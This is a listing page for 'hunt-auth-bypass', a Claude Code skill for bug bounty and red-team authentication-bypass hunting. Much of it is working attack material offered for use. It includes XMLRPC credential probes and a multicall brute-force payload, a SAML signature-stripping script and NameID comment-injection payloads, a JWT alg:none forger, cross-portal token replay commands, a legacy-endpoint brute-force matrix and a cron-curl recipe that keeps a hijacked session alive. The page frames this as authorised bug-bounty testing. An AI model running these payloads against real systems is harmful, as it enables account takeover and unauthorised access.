mcpField
H
hunt-auth-bypass

hunt-auth-bypass

github.com/elementalsouls安全5.3k325 次安装今天更新
代码仓库

关于 hunt-auth-bypass

hunt-auth-bypass 是用于授权安全测试认证入口的研究技能,面向漏洞赏金研究人员和红队操作人员。它结合入口发现、协议专项检查、遗留端点参考资料和具体探测模式。

主要功能

  1. 01梳理认证入口
  2. 02检查 SAML、OAuth 和会话流程
  3. 03探测遗留认证端点
  4. 04测试跨门户令牌复用
  5. 05使用载荷和检测模式

适用场景

  1. 01审查目标的 SSO 和登录入口
  2. 02在自定义登录之外检查遗留端点
  3. 03测试门户令牌是否跨越访问边界
  4. 04验证疑似认证绕过的影响

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-auth-bypass

安装后在 Claude Code 中输入/hunt-auth-bypass确认已加载。

详细介绍

高价值目标

在漏洞赏金项目中,身份验证绕过一直是奖金最高的漏洞类型之一,因为它直接破坏了最根本的安全控制。高价值目标包括:

  • 企业 SaaS 公司中的 SSO/SAML 实现(Slack、Okta、OneLogin 集成)——奖金通常在 $5K–$25K 以上
  • 管理面板和合作伙伴/内部门户——例如通过子域名隔离的管理界面,如 partners.shopify.com、admin.company.com
  • 第三方身份验证插件集成——WordPress 插件(OneLogin、WP-SAML-Auth)、Drupal SSO 模块,以及任何支持插件式身份验证的 CMS
  • WordPress 上的 XMLRPC 端点——这类端点常被遗忘,且能完全绕过标准 WP 身份验证流程
  • OAuth 回调流程——state 参数处理不当、redirect_uri 不匹配
  • API 身份验证层——尤其是事后才加上身份验证的情况

**资产优先级:**优先关注接入大量用户群体的联合身份认证(SAML、OAuth、OIDC)目标。合作伙伴/经销商门户尤其值得关注,因为它们通常权限较高,受到的安全审查却不如主产品严格。


SSH 证书颁发机构信任伪造(Git 托管/企业平台)

组织或实例注册 SSH 证书颁发机构时,服务端可能不会将证书 principals 绑定到发起请求的身份——成员可以签发一个声明为其他用户 principal 的证书,并以该用户身份通过身份验证(例如,仅凭其他用户资源的 URL 就修改该资源)。在 Git 托管目标的身份验证攻击面列表中加入 SSH-CA 信任;此类问题较为小众,且依赖特定平台。已披露:reports/1901040。

攻击面信号

可搜寻的 URL 模式:

/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login

表明存在 SSO 的响应标头:

X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"

表明存在联合身份验证的 JS 模式:

// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate

技术栈信号:

  • WordPress + 任意 SSO 插件 → 单独检查 XMLRPC
  • Shopify Partner API 暴露 → 存在跨租户权限提升风险
  • 任何宣传“已启用 SSO”或“使用 [Enterprise IdP] 登录”的应用
  • 用于管理/合作伙伴功能的独立子域名与主域共享会话 Cookie
  • 使用 SimpleSAMLphp、ruby-saml、python-saml 的应用

Burp 被动扫描触发条件:

  • 任意 POST 请求正文中出现 SAMLResponse
  • 响应中出现 openid_connect 或 id_token
  • Cookie 域设置为 .company.com(通配符)

逐步狩猎方法

  1. 梳理所有身份验证入口

    • 爬取目标,查找所有登录入口:主登录页、管理员登录页、API 登录、合作伙伴门户、移动 API 端点
    • 检查 robots.txt、JS 文件和 Wayback Machine,查找 /xmlrpc.php 等被遗忘的端点
  2. 识别每个入口使用的身份验证机制

    • 使用的是基于表单的身份验证、SAML、OAuth、API 密钥还是会话令牌?
    • 对于 WordPress:即使主登录受 SSO 保护,也始终探测 /xmlrpc.php
  3. 独立于 SSO 测试 XMLRPC

    • 如果网站使用 SSO(例如 OneLogin),则手动向 /xmlrpc.php 发送 POST 请求
    • XMLRPC 使用 WordPress 原生凭据,而非 SSO 凭据——先使用 system.listMethods 测试,再测试 wp.getUsersBlogs
  4. 枚举 SAML 实现

    • 通过 Burp 捕获有效的 SAMLResponse
    • 解码 Base64 载荷并检查 XML
    • 测试签名剥离、注释注入和 XML 包装攻击
    • 测试 SP 是否会验证签名(发送未签名的断言)
  5. 测试跨门户会话/令牌复用

    • 登录 partners.shopify.com 这类门户
    • 尝试将签发的令牌/Cookie 用于主管理门户
    • 查找共享的 Cookie 域、共享的 JWT 密钥,或可跨上下文使用的 API 令牌
  6. 模糊测试身份验证参数

    • 空/空值密码、password[]=array、在用户名字段中输入 SQL
    • 尝试在预发布子域上使用 admin/admin、test/test
    • 修改 JWT 中的 role、is_admin、user_type(none 算法、弱密钥)
  7. 检查重定向和状态参数

    • 从 OAuth 中移除 state 会导致问题吗?
    • 能否将 redirect_uri 改为开放重定向目标?
    • SAML 中的 RelayState 是否经过验证?
  8. 通过提升权限验证影响

    • 不要止步于登录——证明你可以访问管理功能、其他用户的数据或敏感配置
    • 截取你能执行的最高权限操作的屏幕截图

旧版协议矩阵(对任何自定义品牌登录界面都优先探测这些端点)

当目标使用自定义品牌登录 UI(例如 customlogin.aspx、/auth/signin、/account/login)时,始终并行使用原生凭据探测平台的旧版协议端点。这些端点往往比自定义 UI 的保护措施存续更久,并且接受原生凭据,却没有速率限制、MFA 挑战、CAPTCHA 或反自动化措施。这是 WordPress XMLRPC 模式在 CMS/门户/框架技术栈中的推广。

目标技术要探测的旧版端点原生凭据绕过面
WordPress/xmlrpc.php(system.listMethods、wp.getUsersBlogs、system.multicall)原生 WP 用户名/密码;可绕过 /wp-login.php 上的 SSO、MFA、IP 允许规则
WordPress (REST)/?rest_route=/wp/v2/users、/wp-json/wp/v2/users即使登录页面已加固,也可匿名枚举用户
SharePoint (any version)/_vti_bin/Authentication.asmx(Mode + Login SOAP 操作)原生 Forms-auth 凭据;返回 FedAuth cookie;在 SP2013 农场上观察到此端点没有速率限制——这是与 WP XMLRPC 绕过相对应的典型 SP 方案
SharePoint legacy/_vti_bin/_vti_aut/author.dll、/_vti_bin/_vti_adm/admin.dll、/_vti_bin/owssvr.dllFrontPage RPC;有时仍连接到凭据验证器
SharePoint REST/_api/contextinfo(POST)、/_api/$metadata匿名签发 FormDigest;枚举完整 API 面
Atlassian (Jira / Confluence)/rest/auth/1/session(basic-auth)、/rest/api/2/myself、旧版 /rest/api/1.0/即使 UI 强制使用 Atlassian Crowd / Atlassian Access SSO,/rest/auth/1/session 仍接受原生凭据
Drupal/jsonapi/、/user/login?_format=json接受原生密码的 JSON POST 端点;与 SSO 中间件分离
Drupal (D7 legacy)/?q=user/login、/services/、/rest/较旧的 REST 模块,具有独立身份验证
Joomla/administrator/index.php?option=com_login、/api/index.php/v1/users管理入口接受原生 Joomla 凭据,不受任何前台 SSO 影响
Exchange / OWA/EWS/Exchange.asmx、/Autodiscover/Autodiscover.xml、/Microsoft-Server-ActiveSyncNTLM / Basic;绕过 OWA UI 限制(MFA、IP 允许规则)。这是经典的 CVE-2020-0688 / CVE-2021-26855 攻击面
Citrix NetScaler/vpn/index.html、/cgi/login、/nf/auth/doAuthentication.do原生 AD 凭据;独立于 MFA 封装
F5 BIG-IP/mgmt/tm/util/bash、/tmui/login.jsp原生管理员凭据
Generic ASP.NET app*.asmx?WSDL、*.svc?WSDL、trace.axd、elmah.axd、.disco找出所有 Web 服务;许多服务独立于 WebForms 登录接受凭据
Spring Boot/actuator/*、/management/*、/api/v1/auth/login、/api/v1/swagger-ui有时可以匿名枚举 Actuator 端点
Jenkins/jnlpJars/jenkins-cli.jar、/script、/manage、/computer/(master)/scriptAPI 令牌 + 原生身份验证
GitLab/api/v3/*(已弃用,但旧安装仍在使用)、/api/v4/users、/api/v4/projects个人访问令牌的作用域比 UI 会话更宽松
TeamCity/app/rest/users、/login.html?username=&password=(GET 表单登录)原生管理员凭据
Apache Tomcat/manager/html、/host-manager/html、/manager/text/list原生 Tomcat realm 凭据,不受任何前置身份验证影响
WebLogic/console/login/LoginForm.jsp、/wls-wsat/*原生管理员凭据
Oracle EBS / PeopleSoft/OA_HTML/AppsLogin、/psp/*/?cmd=login原生 ERP 凭据

使用方法:

  1. 根据请求头和路径识别技术栈(使用 hunt-misc Attack Surface Signals)。
  2. 找到上方匹配的行。
  3. 匿名探测旧版端点,确认其可访问且未返回 403/404。
  4. 使用合成凭据进行测试,确认端点接受原生凭据格式并返回有差异的响应(成功与失败)。
  5. 确认没有速率限制、锁定机制或 CAPTCHA——对同一用户突发发送 10 个请求,并确认响应时间一致。
  6. 根据是否可能导致 ATO,将问题报告为 Critical / High:在漏洞赏金项目中,匿名且无限制的凭据暴力破解端点通常会被评为 Critical。 一次授权测试的经验教训: 某企业经销商门户基于 SharePoint 2013 构建,并使用自定义品牌的 customlogin.aspx。虽然已加载 hunt-auth-bypass 技能,但本文档中并不存在上述矩阵,而且 WordPress XMLRPC 模式也未与 SharePoint 对应的情况联系起来。/_vti_bin/Authentication.asmx 可匿名访问,接受不限次数的凭据尝试,既没有速率限制,也没有账户锁定,是此次测试中影响最大的发现。如果在首次检查时逐项核查此矩阵,就能立即发现这个问题。

载荷与检测模式

XMLRPC 身份验证探测(绕过 SSO):

curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>'

# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value><string>admin</string></value></param>
    <param><value><string>password</string></value></param>
  </params>
</methodCall>'

移除 SAML 签名(发送未签名断言):

import base64, re

# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()

# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)

# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())

SAML XML 注释注入(用户名混淆):


<NameID>[email protected]</NameID>


<NameID>[email protected]@company.com</NameID>


<NameID xmlns:evil="http://evil.com">[email protected]</NameID>

合作伙伴/跨门户令牌复用测试:

# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
  -d '[email protected]&password=pass' \
  -c cookies.txt | grep -o 'token=[^;]*')

# Replay against admin portal
curl -s https://admin.target.com/dashboard \
  -H "Authorization: Bearer $TOKEN" \
  -H "Cookie: $TOKEN"

JWT none 算法攻击:

import base64, json

header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"[email protected]"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)

用于查找身份验证绕过面的 Grep 模式:

# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt

# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js

# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"

常见根本原因

  1. SSO 在 UI 层完全绕过本地身份验证,但在 API 层却没有 — 开发人员禁用了登录表单,却忘记 API 端点(/xmlrpc.php、REST API、移动 API)有各自的身份验证处理程序,仍会接受原生凭据。

  2. SAML 签名验证被跳过或设为可选 — 库的默认设置通常不会强制检查签名;开发人员使用 wantAssertionsSigned: false,或未正确配置 IdP 证书。

  3. 不同信任级别之间共用会话基础设施 — 合作伙伴门户和管理员门户基于同一内部框架构建,因此复用相同的会话 Cookie 或 JWT 密钥,并假定应用层访问控制已足够。

  4. 多租户架构中的信任继承 — 在低权限上下文(合作伙伴、经销商)中签发的令牌会在高权限上下文中被接受,因为验证过程只检查签名是否有效,却不检查签发上下文。

  5. 插件/模块的身份验证独立于应用身份验证 — 每个处理身份验证的 WordPress 插件(联系表单、REST API 扩展、WooCommerce)都可能实现自己的身份验证处理程序,且与主站的 SSO 不一致。

  6. XML 解析不一致 — 不同的 XML 解析器(分别由 SP 和 IdP 使用)对注释、命名空间和空白字符的处理方式不同,从而导致混淆攻击:签名内容与实际评估的内容不一致。


绕过技术

防御措施绕过方式
登录页面强制执行 SSO探测其他入口点:XMLRPC、REST API、移动 API、旧版端点
SAML 签名验证XML 注释注入、命名空间包装、签名包装(XSW)、彻底移除签名
管理员门户的 IP 允许列表如果合作伙伴门户共用身份验证后端,则使用其令牌
登录速率限制XMLRPC 可通过 system.multicall 执行凭据填充攻击——在一个请求中批量发起数百次身份验证尝试
登录表单上的 CSRF 令牌SAML 流程按设计采用跨域 POST 方式;/saml/callback 无需 CSRF 令牌
JWT 签名验证alg: none、密钥混淆(RS256 → HS256,将公钥用作密钥)、暴力破解弱密钥
各门户使用独立的会话存储检查 Cookie 域名是否为 .target.com(通配符)——Cookie 会在子域之间泄漏
主登录启用 MFA如果 SAML SP 未在断言层强制执行 MFA,且接受预先身份验证的断言,则可能跳过 MFA

使用 XMLRPC multicall 批量绕过身份验证:

<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><string>admin</string></value>
        <value><string>password1</string></value>
      </data></array></value></member>
    </struct></value>
    
  </data></array></value></param></params>
</methodCall>

Gate 0 验证

撰写任何报告之前,请回答以下三个问题:

  1. 攻击者现在能做什么? 必须满足以下至少一项:以其他用户身份进行身份验证、无需有效凭据即可进行身份验证,或提升为管理员/特权角色。“部分信息泄露”不属于身份验证绕过。

  2. 受害者会失去什么? 必须指出具体资产:接管特定用户的账户、访问所有管理员功能、读取/修改其他租户的数据,或访问特权 API。只笼统地说“绕过安全控制”而不说明影响,不足以构成报告。

  3. 能否在 10 分钟内从头复现? 你必须能够:(a)从全新的浏览器/会话开始,(b)按照你提供的确切步骤操作,(c)最终通过身份验证访问受保护资源。如果复现需要你无法重新创建的特殊前提(例如特定受害者的活动会话、时间窗口),则报告还需要进一步完善。


实际影响示例

场景 1 — 通过被遗忘的协议端点绕过 SSO 强制要求 一家大型网约车公司在所有基于 WordPress 的内部/公开站点上强制使用 SSO(通过 OneLogin)。XMLRPC 端点(/xmlrpc.php)仍处于启用状态,且接受 WordPress 原生凭据,完全不受 SSO 流程影响。拥有任何有效 WP 原生凭据的攻击者(通过凭据填充攻击获得,或来自之前的泄露事件)都可以直接通过 XMLRPC 进行身份验证,绕过主登录表单执行的 MFA、SSO 策略和 IP 限制。影响:获得该用户角色可执行的所有 WordPress 功能的完整身份验证访问权限,包括内容管理功能,以及可能的管理员功能。

场景 2 — 因签名验证失败伪造 SAML 断言 某大型企业通信平台的 SAML SP 实现未能在特定边缘情况下正确验证断言签名。攻击者可以操纵捕获到的 SAMLResponse 的 XML 结构(具体方式包括注入注释或攻击命名空间前缀),修改 NameID 值,从而冒充组织中的任何用户(包括工作区管理员),而无需持有该用户的凭据或私钥材料。影响:完全接管启用了 SAML 的组织中的任何用户账户;攻击者可访问工作区中的所有消息、文件和集成。

场景 3 — 通过共享身份验证后端跨门户提升权限 某电商平台的合作伙伴/经销商门户签发的身份验证令牌,由与商家管理门户相同的后端服务进行验证。合作伙伴级账户(信任级别较低、面向外部)可以使用其已签发的凭据或令牌,直接对管理员级 API 端点进行身份验证,从而绕过商家入驻和权限分配流程。影响:恶意合作伙伴可以访问任何商家的管理面板、修改店铺配置、窃取客户 PII 和支付数据,或安装恶意脚本,影响数千个商家店面。


已披露报告引用(补充 +8 — 2016-2025)

以下真实且已核实的漏洞赏金/协调披露案例进一步拓展了此技能。这些案例涵盖 4 类 SAML 子类型、4 类 JWT 子类型、1 类旧协议(XMLRPC),以及 2 种合作伙伴门户跨域复用模式。 5. GitHub Enterprise Server — 通过解析器差异实施 SAML XSW(CVE-2025-25291/25292) (H1 #2579939 · 博客) - 子类:SAML 签名剥离 / XSW(解析器差异变体) - 载荷:已签名的 SAML 响应;注入同级 <Assertion>,使 REXML(签名检查器)和 Nokogiri(业务逻辑读取器)通过同一 XPath 定位到不同节点。签名针对良性节点验证通过;SP 则使用攻击者控制的 <NameID>admin@target</NameID> - 根本原因:用于验证和读取的两个 XML 解析器,对同一 XPath 返回不同元素 - 年份:2025 — GitHub Security Lab 漏洞赏金(该计划的最高级别,内部评级为严重)

  1. GitHub Enterprise — 绕过加密断言的 SAML 签名验证(CVE-2024-4985) (H1 #2475347 · ProjectDiscovery 公告)

    • 子类:启用加密断言功能时的 SAML 签名剥离(XSW 家族)
    • 载荷:伪造包含攻击者控制断言的 SAML 响应;利用加密断言代码分支中不当的签名验证;创建任意用户,包括 site_admin
    • 根本原因:加密断言代码分支中未正确验证加密签名
    • 年份:2024 — 漏洞赏金金额未公开,CVSS 10.0
  2. Uber — 绕过 uchat.uberinternal.com 上的 SAML 身份验证 (H1 #223014)

    • 子类:SAML 签名剥离 / 断言验证不当(OneLogin SP 端)
    • 载荷:重放 / 修改带有伪造 NameID 的 SAML 断言;SP 未严格验证签名范围,因此接受了攻击者控制的断言,从而授予 OneLogin SSO 会话,以访问内部聊天
    • 根本原因:SP 实现中的 SAML 签名验证不当
    • 年份:2017 — $8,500
  3. Uber — 通过 WordPress XMLRPC 绕过 OneLogin SSO (H1 #138869)

    • 子类:通过 WordPress XMLRPC 绕过 SSO(未受限制的旧版身份验证路径)——典型的旧版协议矩阵案例
    • 载荷:OneLogin 插件自动创建 WP 用户,并将字面密码设为 @@@nopass@@@。SSO 插件仅阻止 wp-login.php。向 xmlrpc.php 发送包含 wp.getUsersBlogs 和已知共享密码的 POST 请求 → 以任何此前通过 SSO 登录过的用户身份完成身份验证
    • 根本原因:SSO 强制措施仅应用于一个身份验证入口(wp-login),而旧版 XML-RPC 路径仍保留密码身份验证,且使用可猜测的共享密码
    • 年份:2016 — $7,000
  4. Slack — SAML“混淆代理”断言重用 (分析文章)

    • 子类:合作伙伴门户 / 跨 IdP 断言重用(未验证受众限制)
    • 载荷:获取一个旧的、已过期的 GitHub 签名 SAML 断言(受众不同、主体不同)→ 提交给 Slack ACS → Slack 将攻击者以断言中声明的用户名登录
    • 根本原因:未检查受众限制,也未检查时效性;信任跨越多个 IdP
    • 年份:2017 — $3,000
  5. HackerOne — 利用控制字符绕过 SAML 注册域名限制 (H1 #2101076)

    • 子类:合作伙伴门户 / 通过 Unicode 控制字符绕过 SAML 域名绑定
    • 载荷:在启用了 SAML 强制验证的组织中注册新用户;在邮箱后追加尾随控制字符(例如 \r、�)→ 域名比较时会将其规范化并移除,注册因此继续 → 未授权访问该组织
    • 根本原因:域名检查与身份信息写入过程对 Unicode / 控制字符的规范化处理不一致
    • 年份:2024 — 已发放漏洞赏金(金额未公开)
  6. 8x8 / Jitsi-Meet — JWT 算法混淆(非对称验证器接受对称算法) (H1 #1210502)

    • 子类:JWT 算法混淆(使用公钥作为 HMAC 密钥,将 RS256 替换为 HS256)
    • 攻击方式:服务器公开 RS256 验证公钥。发送一个标头为 {"alg":"HS256"} 的令牌,并使用该公钥作为 HMAC 密钥签名 → Prosody 模块验证通过,并允许攻击者进入已认证的/版主房间
    • 根本原因:验证器未强制要求 alg=RS256;允许使用对称算法,并将公钥作为共享密钥
    • 年份:2021 — 赏金金额未公开
  7. Argo CD(Internet Bug Bounty)— 未验证 JWT 的 audience 声明(CVE-2023-22482) (H1 #1889161)

    • 子类:在签发时而非使用时检查令牌范围/受众(跨受众令牌混淆)
    • 攻击方式:获取任何由集群 OIDC 发行方签名、但签发给不同 aud(例如 kubernetes)的 RS256 签名令牌 → 将其作为 bearer 令牌提交给 Argo CD API → API 接受了发行方的签名,却跳过了 aud 验证,因此将其视为有效令牌
    • 根本原因:未验证 aud 声明;签名信任被扩展至多个受众
    • 年份:2023 — 通过 IBB 获得 $2,400

Duende BFF — 令牌混淆与会话固定(2024-2026 年攻击面)

除了 hunt-csrf 中介绍的 CSRF 问题外,Duende BFF 部署还存在两类不同的身份验证绕过问题。这些是有文档记载的架构现实,并非罕见的 CVE。

攻击类别 1 — YARP UserOrClient / UserOrNone 权限提升

Duende.BFF.Yarp 通过 WithAccessToken(TokenType.X) 元数据,将访问令牌附加到代理路由上。错误配置模式:开发者将某个路由标记为 UserOrClient(已登录时使用用户令牌,否则回退到客户端凭据令牌),本意是将其用于“公开目录”端点。客户端凭据(M2M)令牌的权限范围通常比任何用户令牌都广(api.admin、internal.read)。未经过身份验证的攻击者访问该路由时,BFF 会将请求转发到下游 API,并附上服务账户令牌;只要下游信任该 bearer 令牌,就会按设计导致权限提升。

**攻击载荷形式:**找出标记为 TokenType.UserOrClient 的 BFF 路由(在没有会话时,可通过 401 与 200 的差异发现,或通过泄露的 OpenAPI/NSwag 规范发现)。不携带 Cookie 访问该路由 → BFF 使用授予下游管理范围权限的 M2M 令牌转发请求。(docs.duendesoftware.com/bff/fundamentals/apis/yarp)

相关已确认 CVE:Duende.AccessTokenManagement.OpenIdConnect 中的 CVE-2024-51987 — “HTTP 客户端在刷新后使用了错误的令牌” — 与代理层的令牌混淆属于实质相同的问题类别。中等严重性,已于 2024 年修复。(GHSA-...51987)

攻击类别 2 — Cookie 域通配符 + 滑动过期 = 持久性账户接管(ATO)

当 BFF 会话 Cookie 设置了 Domain=.example.com(开发者会这样做,以便在 app. 和 admin. 之间共享登录状态)时,__Host- 前缀保护就会失效。任何同级子域——包括已被接管的子域(legacy.example.com 的 CNAME 指向已停用的 Heroku/S3)——都可以写入 Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com。受害者访问 app.example.com 时携带攻击者的会话,即会导致会话固定型账户接管(ATO)。

如果 SlidingExpiration=true(默认值)且 ExpireTimeSpan 设置得很长(例如 8h),被窃取的 Cookie 就会持续有效;只要攻击者定期调用 /bff/user,过期时间就会不断延后。Cookie 本身没有服务端刷新令牌轮换检查——只有 OIDC 令牌(服务端)会轮换。每个被窃取的 Cookie 都会形成持久的 ATO 窗口。

攻击载荷形式: 接管子域 → 写入 Domain=.example.com 的 BFF 会话 Cookie → 受害者下次访问 app.example.com 时采用攻击者的会话。每 6h 用 Cron-curl 执行一次 GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...',即可无限期保持会话有效。

加固参考: docs.duendesoftware.com/bff/fundamentals/session/handlers,nestenius.se BFF cookie guide,Langkemper 关于 __Host- 前缀的说明。

攻击类别 3 — /bff/user 声明泄露

GET /bff/user 会以 JSON 数组形式返回当前会话的完整声明集——sub、sid、email、bff:session_expires_in、bff:session_state、bff:logout_url,以及 OP 签发的所有自定义声明(部门、角色、内部员工 ID、租户 ID)。该端点仅由会话 Cookie + X-CSRF: 1 进行访问控制。如果设置了 AnonymousSessionResponse=Response200,该端点还可用作会话探测器(200 + 声明 vs 200 + null),作为认证状态预言机。单独来看属于低/中危信息泄露;但可用于侦察上述 YARP 令牌混淆类别。(docs.duendesoftware.com/bff/fundamentals/session/management/user)

证据强度 + 报告建议

不存在直接针对 Duende.BFF 的 CVE。这三类攻击可通过现实世界中的错误配置利用;相邻的 Duende.AccessTokenManagement 包中的 CVE-2024-51987 和 CVE-2025-26620 使令牌混淆成为已确认的同类问题。应根据攻击链的影响进行报告(例如“低权限会话通过 UserOrClient 路由访问管理员范围的下游 API” → 严重),而不是引用 CVE,因为问题处于设计层面。

攻击链的交叉引用:

  • hunt-csrf — 按角色划分的防伪保护类别(同一 BFF 攻击面的 CSRF 角度)。
  • hunt-subdomain-takeover / hunt-subdomain — Cookie 域攻击所需的前置条件。

函数级访问控制(授权失效)

绕过身份验证能让你进入系统;函数级访问控制失效则会让已通过身份验证的低权限用户访问 UI 从未向他们提供的特权功能。这是 hunt-idor(对象级访问控制)的授权对应问题——只要你持有任何已通过身份验证的会话,就应同时测试两者。

**同类端点规则:**如果某个路径下的 9 个端点都执行了身份验证/角色中间件,而第 10 个没有,那就是你的漏洞。管理员路由族是最值得优先检查的地方:

/api/admin/users   → has auth middleware
/api/admin/export  → often MISSING it
/api/admin/delete  → often MISSING it
/api/admin/reset   → often MISSING it

值得搜索的反模式:

// Missing middleware on a sibling route
router.get('/admin/users',  authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);            // No middleware!

// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton();      // frontend gate
app.post('/api/admin/delete', deleteUser);         // no server-side check

**搜寻方法:**枚举每个特权端点(admin/export/delete/reset/impersonate、GraphQL 管理查询),然后从普通已通过身份验证的会话逐一重放——再使用无会话状态重试。若返回 200(或与同类端点返回的 403 不同),就说明函数级访问控制失效。

真实付费案例——HackerOne TrustHub:POST /graphql 的 TrustHubQuery 操作没有授权检查——普通用户可以读取所有供应商的数据(CVSS 8.7,高危)。对象级变体(例如,WebSocket get_history 接受任意 UUID,且不检查所有权)属于 hunt-idor。


相关技能与攻击链

  • hunt-idor — 没有对象级访问控制问题的身份验证绕过,只算半个发现;应将两者结合。攻击链原语:旧版 /v1/users/{id} 路由既缺少身份验证中间件,也缺少所有权检查=无需身份验证,通过直接替换 ID 即可跨租户读取数据 → 从“我什么都不是”的起点直接获取完整 PII 数据倾倒。
  • hunt-ato — 身份验证绕过原语会进入 ATO 攻击流程。攻击链原语:XMLRPC 接受原生凭据,且 wp.getUsersBlogs 没有速率限制 → 使用从 hunt-misc 侦察中获得的泄露数据集进行凭据填充 → system.multicall 每个请求批量尝试 1000 组凭据 → 一组有效凭据即可绕过 UI 强制执行的 SSO + MFA,接管账户。
  • hunt-sharepoint — 这里有 WordPress XMLRPC 模式的 SharePoint 对应方案。攻击链原语:匿名用户可访问 /_vti_bin/Authentication.asmx,且原生 Forms 身份验证凭据可用,完全没有速率限制=不受限制地暴力破解凭据,绕过 customlogin.aspx 的定制品牌保护 → 获取 FedAuth Cookie → 完全访问 SharePoint 场。
  • security-arsenal — 当 JWT 验证是身份验证屏障时,参考 JWT 攻击载荷部分(alg=none、kid 路径遍历、JWK 注入、RS256→HS256 密钥混淆);当 SP 接受未签名断言时,参考 SAML 签名剥离部分。
  • triage-validation — 如果所谓的“身份验证绕过”只能枚举用户名,或只能揭示 401 与 403 的差异,那么在宣称其为严重漏洞前,应先执行严重性预审。单独的用户名枚举若没有锁定放大效应,在 H1 上通常会被评为 N/A 或信息级。

评论

支持 Markdown